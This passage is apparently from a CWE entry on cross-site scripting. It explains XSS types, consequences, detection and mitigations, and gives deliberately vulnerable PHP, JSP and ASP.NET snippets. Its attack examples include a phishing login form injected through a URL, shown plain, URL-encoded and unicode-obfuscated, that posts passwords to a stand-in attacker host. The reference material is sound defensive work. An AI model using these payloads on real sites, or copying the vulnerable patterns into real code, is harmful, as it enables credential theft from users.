            <xhtml:ol>
               <xhtml:li>Untrusted data enters a web application, typically from a web request.</xhtml:li>
               <xhtml:li>The web application dynamically generates a web page that contains this untrusted data.</xhtml:li>
               <xhtml:li>During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.</xhtml:li>
               <xhtml:li>A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.</xhtml:li>
               <xhtml:li>Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.</xhtml:li>
               <xhtml:li>This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.</xhtml:li>
            </xhtml:ol>
            <xhtml:p>There are three main kinds of XSS:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>
                  <xhtml:b>Type 1: Reflected XSS (or Non-Persistent)</xhtml:b> - 
         			The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.</xhtml:li>
               <xhtml:li>
                  <xhtml:b>Type 2: Stored XSS (or Persistent)</xhtml:b> - 
               The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
            </xhtml:li>
               <xhtml:li>
                  <xhtml:b>Type 0: DOM-Based XSS</xhtml:b> - 
               In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.
            </xhtml:li>
            </xhtml:ul>
            <xhtml:p>Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."</xhtml:p>
            <xhtml:p>In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="494" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="352" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>
               <xhtml:p>The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.</xhtml:p>
               <xhtml:p>When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.</xhtml:p>
            </Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>XSS</Term>
               <Description>A common abbreviation for Cross-Site Scripting.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>HTML Injection</Term>
               <Description>Used as a synonym of stored (Type 2) XSS.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>CSS</Term>
               <Description>In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym.  However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Note>The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Note>The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.</Effectiveness_Notes>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.</xhtml:p>
                  <xhtml:p>For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.</xhtml:p>
                  <xhtml:p>Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>HTML body</xhtml:li>
                        <xhtml:li>Element attributes (such as src="XYZ")</xhtml:li>
                        <xhtml:li>URIs</xhtml:li>
                        <xhtml:li>JavaScript sections</xhtml:li>
                        <xhtml:li>Cascading Style Sheets and style property</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>etc. Note that HTML Entity Encoding is only appropriate for the HTML body.</xhtml:p>
                  <xhtml:p>Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-27">
               <Phase>Architecture and Design</Phase>
               <Strategy>Parameterization</Strategy>
               <Description>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</xhtml:p>
                  <xhtml:p>Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("&lt;3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "&lt;" character, which would need to be escaped or otherwise handled. In this case, stripping the "&lt;" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.</xhtml:p>
                  <xhtml:p>Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.</xhtml:p>
                  <xhtml:p>Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$username = $_GET['username'];<xhtml:br/>echo '&lt;div class="header"&gt; Welcome, ' . $username . '&lt;/div&gt;';</xhtml:div>
               </Example_Code>
               <Body_Text>Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://trustedSite.example.com/welcome.php?username=&lt;Script Language="Javascript"&gt;alert("You've been attacked!");&lt;/Script&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.</Body_Text>
               <Body_Text>More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://trustedSite.example.com/welcome.php?username=&lt;div id="stealPassword"&gt;Please Login:&lt;form name="input" action="http://attack.example.com/stealPassword.php" method="post"&gt;Username: &lt;input type="text" name="username" /&gt;&lt;br/&gt;Password: &lt;input type="password" name="password" /&gt;&lt;br/&gt;&lt;input type="submit" value="Login" /&gt;&lt;/form&gt;&lt;/div&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>&lt;div class="header"&gt; Welcome, &lt;div id="stealPassword"&gt; Please Login:<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>&lt;form name="input" action="attack.example.com/stealPassword.php" method="post"&gt;<xhtml:div style="margin-left:1em;">Username: &lt;input type="text" name="username" /&gt;&lt;br/&gt;<xhtml:br/>Password: &lt;input type="password" name="password" /&gt;&lt;br/&gt;<xhtml:br/>&lt;input type="submit" value="Login" /&gt;</xhtml:div>&lt;/form&gt;</xhtml:div>
                     <xhtml:br/>&lt;/div&gt;&lt;/div&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22<xhtml:br/>stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input<xhtml:br/>%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php<xhtml:br/>%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text<xhtml:br/>%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A<xhtml:br/>+%3Cinput+type%3D%22password%22+name%3D%22password%22<xhtml:br/>+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22<xhtml:br/>+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A</xhtml:div>
               </Example_Code>
               <Body_Text>The same attack string could also be obfuscated as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>trustedSite.example.com/welcome.php?username=&lt;script+type="text/javascript"&gt;<xhtml:br/>document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073<xhtml:br/>\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064<xhtml:br/>\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067<xhtml:br/>\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D<xhtml:br/>\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063<xhtml:br/>\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F<xhtml:br/>\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D<xhtml:br/>\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061<xhtml:br/>\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068<xhtml:br/>\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070<xhtml:br/>\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D<xhtml:br/>\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079<xhtml:br/>\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061<xhtml:br/>\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065<xhtml:br/>\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073<xhtml:br/>\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075<xhtml:br/>\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073<xhtml:br/>\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022<xhtml:br/>\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E<xhtml:br/>\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D<xhtml:br/>\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C<xhtml:br/>\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F<xhtml:br/>\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');&lt;/script&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code displays a Reflected XSS (Type 1) scenario.</Intro_Text>
               <Body_Text>The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.</Body_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;% String eid = request.getParameter("eid"); %&gt;<xhtml:br/>...<xhtml:br/>Employee ID: &lt;%= eid %&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>&lt;%<xhtml:br/>protected System.Web.UI.WebControls.TextBox Login;<xhtml:br/>protected System.Web.UI.WebControls.Label EmployeeID;<xhtml:br/>...<xhtml:br/>EmployeeID.Text = Login.Text;<xhtml:br/>%&gt;<xhtml:br/>
                     <xhtml:br/>&lt;p&gt;&lt;asp:label id="EmployeeID" runat="server" /&gt;&lt;/p&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code displays a Stored XSS (Type 2) scenario.</Intro_Text>
               <Body_Text>The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.</Body_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;%Statement stmt = conn.createStatement();<xhtml:br/>ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);<xhtml:br/>if (rs != null) {<xhtml:div style="margin-left:1em;">rs.next();<xhtml:br/>String name = rs.getString("name");</xhtml:div>}%&gt;<xhtml:br/>
                     <xhtml:br/>Employee Name: &lt;%= name %&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>&lt;%<xhtml:br/>protected System.Web.UI.WebControls.Label EmployeeName;<xhtml:br/>...<xhtml:br/>string query = "select * from emp where id=" + eid;<xhtml:br/>sda = new SqlDataAdapter(query, conn);<xhtml:br/>sda.Fill(dt);<xhtml:br/>string name = dt.Rows[0]["Name"];<xhtml:br/>...<xhtml:br/>EmployeeName.Text = name;%&gt;<xhtml:br/>&lt;p&gt;&lt;asp:label id="EmployeeName" runat="server" /&gt;&lt;/p&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.</Intro_Text>
               <Body_Text>CreateUser.php</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$username = mysql_real_escape_string($username);<xhtml:br/>$fullName = mysql_real_escape_string($fullName);<xhtml:br/>$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;<xhtml:br/>mysql_query($query);<xhtml:br/>/.../</xhtml:div>
               </Example_Code>
               <Body_Text>The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:</Body_Text>
               <Body_Text>ListUsers.php</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$query = 'Select * From users Where loggedIn=true';<xhtml:br/>$results = mysql_query($query);<xhtml:br/>
                     <xhtml:br/>if (!$results) {<xhtml:div style="margin-left:1em;">exit;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>//Print list of users to page</xhtml:i>
                     <xhtml:br/>echo '&lt;div id="userlist"&gt;Currently Active Users:';<xhtml:br/>while ($row = mysql_fetch_assoc($results)) {<xhtml:div style="margin-left:1em;">echo '&lt;div class="userNames"&gt;'.$row['fullname'].'&lt;/div&gt;';</xhtml:div>}<xhtml:br/>echo '&lt;/div&gt;';</xhtml:div>
               </Example_Code>
               <Body_Text>The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code is a simplistic message board that saves messages in HTML format and appends them to a file.  When a new user arrives in the room, it makes an announcement:</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$name = $_COOKIE["myname"];<xhtml:br/>$announceStr = "$name just logged in.";<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>//save HTML-formatted message to file; implementation details are irrelevant for this example.</xhtml:i>
                     <xhtml:br/>
				saveMessage($announceStr);</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>&lt;script&gt;document.alert('Hacked');&lt;/script&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The raw contents of the message file would look like:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>&lt;script&gt;document.alert('Hacked');&lt;/script&gt; has logged in.</xhtml:div>
               </Example_Code>
               <Body_Text>For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-25926</Reference>
               <Description>Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-25926</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-25963</Reference>
               <Description>Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-25963</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-1879</Reference>
               <Description>Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-1879</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3580</Reference>
               <Description>Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3580</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-8958</Reference>
               <Description>Admin GUI allows XSS through cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-8958</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-9764</Reference>
               <Description>Web stats program allows XSS through crafted HTTP header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-9764</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-5198</Reference>
               <Description>Web log analysis product allows XSS through crafted HTTP Referer header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-5198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5080</Reference>
               <Description>Chain: protection mechanism failure allows XSS</Description>
